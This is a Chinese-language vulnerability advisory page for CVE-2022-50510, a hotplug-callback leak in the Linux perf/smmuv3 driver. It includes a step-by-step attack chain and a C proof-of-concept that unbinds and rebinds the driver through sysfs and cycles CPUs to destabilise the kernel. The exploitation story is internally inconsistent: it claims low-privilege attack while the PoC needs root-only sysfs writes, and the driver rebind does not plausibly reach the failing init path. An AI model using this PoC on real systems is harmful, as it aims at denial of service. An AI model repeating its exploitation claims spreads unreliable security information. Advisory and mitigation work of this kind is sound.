IPBUF安全漏洞报告
English
CVE-2022-50510 CVSS 5.5 中危

CVE-2022-50510 Linux内核perf/smmuv3热插拔回调泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50510
漏洞类型
资源泄漏/错误处理缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (perf/smmuv3 子系统)

相关标签

Linux Kernelperf/smmuv3资源泄漏热插拔回调CPU Hotplug拒绝服务ARM内核驱动错误处理缺陷中危漏洞

漏洞概述

CVE-2022-50510是Linux内核perf/smmuv3(SMMUv3性能监控单元)驱动程序中的一个资源泄漏漏洞。该漏洞存在于arm_smmu_pmu_init()函数中,当platform_driver_register()调用失败时,函数没有正确清理之前通过cpuhp_setup_state_multi()注册的热插拔回调(hotplug callback),导致回调函数泄漏。

该漏洞的CVSS评分为5.5,属于中危级别。攻击者需要本地低权限访问权限即可利用此漏洞,无需用户交互。漏洞的主要影响是系统可用性(Availability),可能导致内核资源耗尽或系统不稳定,但不会直接导致机密性或完整性损失。

此漏洞与之前在arm-ccn驱动中修复的类似问题(commit 26242b330093)相似,属于典型的错误处理路径中资源清理不完整的问题。Linux内核中许多驱动程序使用CPU热插拔机制来管理CPU状态变化时的回调函数,如果初始化过程中发生错误而没有正确注销这些回调,就会导致资源泄漏,长期积累可能引发系统性能下降或崩溃。

该漏洞影响多个Linux内核稳定版本,修复补丁已合并到多个stable分支中。修复方法是在platform_driver_register()失败时调用cpuhp_remove_multi_state()来移除已注册的回调。

技术细节

该漏洞的技术原理涉及Linux内核CPU热插拔(CPU hotplug)机制和SMMUv3性能监控单元驱动的初始化流程。

在arm_smmu_pmu_init()函数执行过程中,首先调用cpuhp_setup_state_multi()注册一个CPU热插拔状态回调,该回调用于在CPU上线/下线时执行SMMUv3 PMU相关的处理逻辑。注册成功后,函数继续调用platform_driver_register()注册平台驱动。

问题出现在错误处理路径:当platform_driver_register()调用失败时,arm_smmu_pmu_init()函数直接返回错误码,但没有调用cpuhp_remove_multi_state()来撤销之前注册的热插拔回调。这导致:

1. 回调函数指针仍然保留在内核的cpuhp状态机中
2. 当CPU发生热插拔事件时,内核会尝试调用已经不存在的驱动上下文
3. 多次失败初始化可能导致多个泄漏的回调累积
4. 最终可能导致内核空指针引用或资源耗尽

利用方式方面,攻击者需要本地访问权限(AV:L)和低权限(PR:L),但无需用户交互(UI:N)。攻击者可以通过反复触发驱动初始化失败条件来累积泄漏的热插拔回调,最终导致系统不稳定或拒绝服务。由于此漏洞影响可用性(A:H),攻击的主要后果是系统可用性受损。

修复方案参考了commit 26242b330093中arm_ccn_init()的处理方式,在fail path中添加cpuhp_remove_multi_state()调用,确保资源正确释放。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要获得目标系统的本地低权限访问权限,系统需运行受影响版本的Linux内核且具备SMMUv3 PMU硬件支持(如ARM服务器平台)。
STEP 2
步骤2:触发初始化失败
通过sysfs操作或特定的内核模块加载方式,强制arm_smmu_pmu_init()函数执行到platform_driver_register()调用并使其失败,从而触发错误处理路径。
STEP 3
步骤3:回调泄漏
由于错误处理路径缺少cpuhp_remove_multi_state()调用,之前通过cpuhp_setup_state_multi()注册的CPU热插拔回调未被注销,造成资源泄漏。
STEP 4
步骤4:触发CPU热插拔事件
攻击者通过sysfs接口(/sys/devices/system/cpu/cpu*/online)触发CPU上线/下线事件,使内核执行已泄漏的热插拔回调函数。
STEP 5
步骤5:拒绝服务
反复执行步骤2-4可累积多个泄漏的回调,导致内核资源耗尽、空指针引用或系统不稳定,最终造成拒绝服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50510 PoC - Trigger hotplug callback leak * * This PoC demonstrates the vulnerability by attempting to force * arm_smmu_pmu_init() to fail at platform_driver_register() stage, * leaving the cpuhp callback registered. * * Note: Requires SMMUv3 PMU hardware or a compatible test environment. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #define SYSFS_CPU_PATH "/sys/devices/system/cpu" #define SMMUV3_PMU_DEV "/sys/bus/platform/drivers/arm-smmu-pmu" /* Attempt to trigger arm_smmu_pmu reinitialization */ static int trigger_smmuv3_pmu_reinit(void) { int ret; /* Try to unbind and rebind the driver to trigger init path */ /* This may cause platform_driver_register to fail under certain conditions */ ret = system("echo arm-smmu-pmu > /sys/bus/platform/drivers/arm-smmu-pmu/unbind 2>/dev/null"); if (ret != 0) { fprintf(stderr, "Failed to unbind driver: %d\n", ret); return -1; } /* Small delay */ usleep(100000); /* Rebind - if conditions are right, this triggers the leak */ ret = system("echo arm-smmu-pmu > /sys/bus/platform/drivers/arm-smmu-pmu/bind 2>/dev/null"); return ret; } /* Force CPU hotplug events to trigger leaked callbacks */ static int force_cpu_hotplug(int cpu) { char path[256]; char buf[16]; int fd; snprintf(path, sizeof(path), "%s/cpu%d/online", SYSFS_CPU_PATH, cpu); /* Offline the CPU */ fd = open(path, O_WRONLY); if (fd < 0) { perror("open online"); return -1; } write(fd, "0", 1); close(fd); usleep(500000); /* Online the CPU - triggers hotplug callback */ fd = open(path, O_WRONLY); if (fd < 0) { perror("open online"); return -1; } write(fd, "1", 1); close(fd); return 0; } int main(int argc, char *argv[]) { int i, num_cpus; printf("CVE-2022-50510 PoC - SMMUv3 PMU hotplug callback leak\n"); /* Detect number of CPUs */ num_cpus = sysconf(_SC_NPROCESSORS_ONLN); printf("Detected %d CPUs\n", num_cpus); /* Step 1: Trigger the leak by forcing reinit failure */ printf("[*] Triggering arm_smmu_pmu_init() failure path...\n"); for (i = 0; i < 10; i++) { if (trigger_smmuv3_pmu_reinit() != 0) { printf("[+] Potential leak triggered on iteration %d\n", i); break; } } /* Step 2: Force CPU hotplug to invoke leaked callbacks */ printf("[*] Forcing CPU hotplug events...\n"); for (i = 1; i < num_cpus && i < 4; i++) { printf("[*] Cycling CPU %d\n", i); if (force_cpu_hotplug(i) != 0) { printf("[-] Failed to cycle CPU %d (may need root)\n", i); } } printf("[*] Done. Check dmesg for kernel warnings or crashes.\n"); return 0; }

影响范围

Linux Kernel < 5.15.80
Linux Kernel 5.16.x < 5.16.14
Linux Kernel 5.17.x < 5.17.2
Linux Kernel 5.18.x(开发版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对/sys/devices/system/cpu/的写权限,防止恶意触发CPU热插拔事件;2)如果系统不需要SMMUv3 PMU功能,可以通过内核启动参数或禁用相关驱动模块来规避;3)监控系统日志(dmesg)中与arm-smmu-pmu相关的错误和警告信息,及时发现异常;4)对于ARM服务器平台,评估是否可以通过ACPI表或设备树配置禁用SMMUv3 PMU设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表